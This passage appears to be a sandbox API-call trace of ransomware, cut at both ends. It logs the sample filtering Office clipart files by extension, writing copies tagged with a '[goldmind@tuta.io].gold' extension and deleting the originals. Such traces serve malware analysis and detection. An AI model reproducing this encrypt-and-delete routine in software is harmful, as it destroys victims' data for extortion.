Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.985] lstrlenW (lpString=".1cd") returned 4 [0113.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.985] lstrlenW (lpString=".jpg") returned 4 [0113.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.985] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.985] lstrlenW (lpString="J0195788.WMF") returned 12 [0113.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.986] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3004) returned 1 [0113.986] CloseHandle (hObject=0x3d4) returned 1 [0113.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 0x20 [0113.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.986] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.986] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.987] GetLastError () returned 0x0 [0113.987] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xbbc, lpOverlapped=0x0) returned 1 [0113.989] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0113.989] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.990] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.990] SetEndOfFile (hFile=0x3f8) returned 1 [0113.990] CloseHandle (hObject=0x3f8) returned 1 [0113.990] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.990] SetEndOfFile (hFile=0x3d4) returned 1 [0113.992] CloseHandle (hObject=0x3d4) returned 1 [0113.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 1 [0113.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.993] lstrlenW (lpString=".doc") returned 4 [0113.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.993] lstrlenW (lpString=".docx") returned 5 [0113.993] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.993] lstrlenW (lpString=".pdf") returned 4 [0113.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.993] lstrlenW (lpString=".xls") returned 4 [0113.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.993] lstrlenW (lpString=".xlsx") returned 5 [0113.993] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.993] lstrlenW (lpString=".ppt") returned 4 [0113.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.993] lstrlenW (lpString=".zip") returned 4 [0113.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.993] lstrlenW (lpString=".rar") returned 4 [0113.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.993] lstrlenW (lpString=".bz2") returned 4 [0113.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.993] lstrlenW (lpString=".7z") returned 3 [0113.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.993] lstrlenW (lpString=".dbf") returned 4 [0113.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString=".1cd") returned 4 [0113.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString=".jpg") returned 4 [0113.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString=".doc") returned 4 [0113.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString=".docx") returned 5 [0113.994] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.994] lstrlenW (lpString=".pdf") returned 4 [0113.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString=".xls") returned 4 [0113.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.994] lstrlenW (lpString=".xlsx") returned 5 [0113.994] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.994] lstrlenW (lpString=".ppt") returned 4 [0113.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString=".zip") returned 4 [0113.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.994] lstrlenW (lpString=".rar") returned 4 [0113.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString=".bz2") returned 4 [0113.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString=".7z") returned 3 [0113.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString=".dbf") returned 4 [0113.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString=".1cd") returned 4 [0113.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0113.994] lstrlenW (lpString=".jpg") returned 4 [0113.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.994] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.994] lstrlenW (lpString="J0196060.WMF") returned 12 [0113.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.995] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4750) returned 1 [0113.995] CloseHandle (hObject=0x3d4) returned 1 [0113.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 0x20 [0113.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.996] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.996] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.998] GetLastError () returned 0x0 [0113.998] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x128e, lpOverlapped=0x0) returned 1 [0114.000] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1290, lpOverlapped=0x0) returned 1 [0114.000] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.000] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.000] SetEndOfFile (hFile=0x3f8) returned 1 [0114.001] CloseHandle (hObject=0x3f8) returned 1 [0114.001] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.001] SetEndOfFile (hFile=0x3d4) returned 1 [0114.003] CloseHandle (hObject=0x3d4) returned 1 [0114.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 1 [0114.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.004] lstrlenW (lpString=".doc") returned 4 [0114.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.004] lstrlenW (lpString=".docx") returned 5 [0114.004] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.004] lstrlenW (lpString=".pdf") returned 4 [0114.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString=".xls") returned 4 [0114.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.005] lstrlenW (lpString=".xlsx") returned 5 [0114.005] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.005] lstrlenW (lpString=".ppt") returned 4 [0114.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.005] lstrlenW (lpString=".zip") returned 4 [0114.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.005] lstrlenW (lpString=".rar") returned 4 [0114.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString=".bz2") returned 4 [0114.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString=".7z") returned 3 [0114.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.005] lstrlenW (lpString=".dbf") returned 4 [0114.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.005] lstrlenW (lpString=".1cd") returned 4 [0114.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.005] lstrlenW (lpString=".jpg") returned 4 [0114.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.005] lstrlenW (lpString=".doc") returned 4 [0114.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString=".docx") returned 5 [0114.005] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.005] lstrlenW (lpString=".pdf") returned 4 [0114.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.005] lstrlenW (lpString=".xls") returned 4 [0114.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.005] lstrlenW (lpString=".xlsx") returned 5 [0114.006] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.006] lstrlenW (lpString=".ppt") returned 4 [0114.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.006] lstrlenW (lpString=".zip") returned 4 [0114.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.006] lstrlenW (lpString=".rar") returned 4 [0114.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.006] lstrlenW (lpString=".bz2") returned 4 [0114.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.006] lstrlenW (lpString=".7z") returned 3 [0114.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.006] lstrlenW (lpString=".dbf") returned 4 [0114.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.006] lstrlenW (lpString=".1cd") returned 4 [0114.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0114.006] lstrlenW (lpString=".jpg") returned 4 [0114.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.006] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.006] lstrlenW (lpString="J0196110.WMF") returned 12 [0114.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.007] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5326) returned 1 [0114.007] CloseHandle (hObject=0x3d4) returned 1 [0114.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 0x20 [0114.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.008] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.008] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.009] GetLastError () returned 0x0 [0114.009] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x14ce, lpOverlapped=0x0) returned 1 [0114.011] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0114.011] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.011] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.011] SetEndOfFile (hFile=0x3f8) returned 1 [0114.011] CloseHandle (hObject=0x3f8) returned 1 [0114.012] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.012] SetEndOfFile (hFile=0x3d4) returned 1 [0114.013] CloseHandle (hObject=0x3d4) returned 1 [0114.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 1 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString=".doc") returned 4 [0114.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString=".docx") returned 5 [0114.015] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.015] lstrlenW (lpString=".pdf") returned 4 [0114.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString=".xls") returned 4 [0114.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.015] lstrlenW (lpString=".xlsx") returned 5 [0114.015] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.015] lstrlenW (lpString=".ppt") returned 4 [0114.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString=".zip") returned 4 [0114.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.015] lstrlenW (lpString=".rar") returned 4 [0114.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString=".bz2") returned 4 [0114.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString=".7z") returned 3 [0114.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString=".dbf") returned 4 [0114.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString=".1cd") returned 4 [0114.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString=".jpg") returned 4 [0114.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.015] lstrlenW (lpString=".doc") returned 4 [0114.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString=".docx") returned 5 [0114.015] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.015] lstrlenW (lpString=".pdf") returned 4 [0114.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.015] lstrlenW (lpString=".xls") returned 4 [0114.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.016] lstrlenW (lpString=".xlsx") returned 5 [0114.016] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.016] lstrlenW (lpString=".ppt") returned 4 [0114.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.016] lstrlenW (lpString=".zip") returned 4 [0114.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.016] lstrlenW (lpString=".rar") returned 4 [0114.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.016] lstrlenW (lpString=".bz2") returned 4 [0114.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.016] lstrlenW (lpString=".7z") returned 3 [0114.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.016] lstrlenW (lpString=".dbf") returned 4 [0114.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.016] lstrlenW (lpString=".1cd") returned 4 [0114.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0114.016] lstrlenW (lpString=".jpg") returned 4 [0114.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.016] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.016] lstrlenW (lpString="J0196142.WMF") returned 12 [0114.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 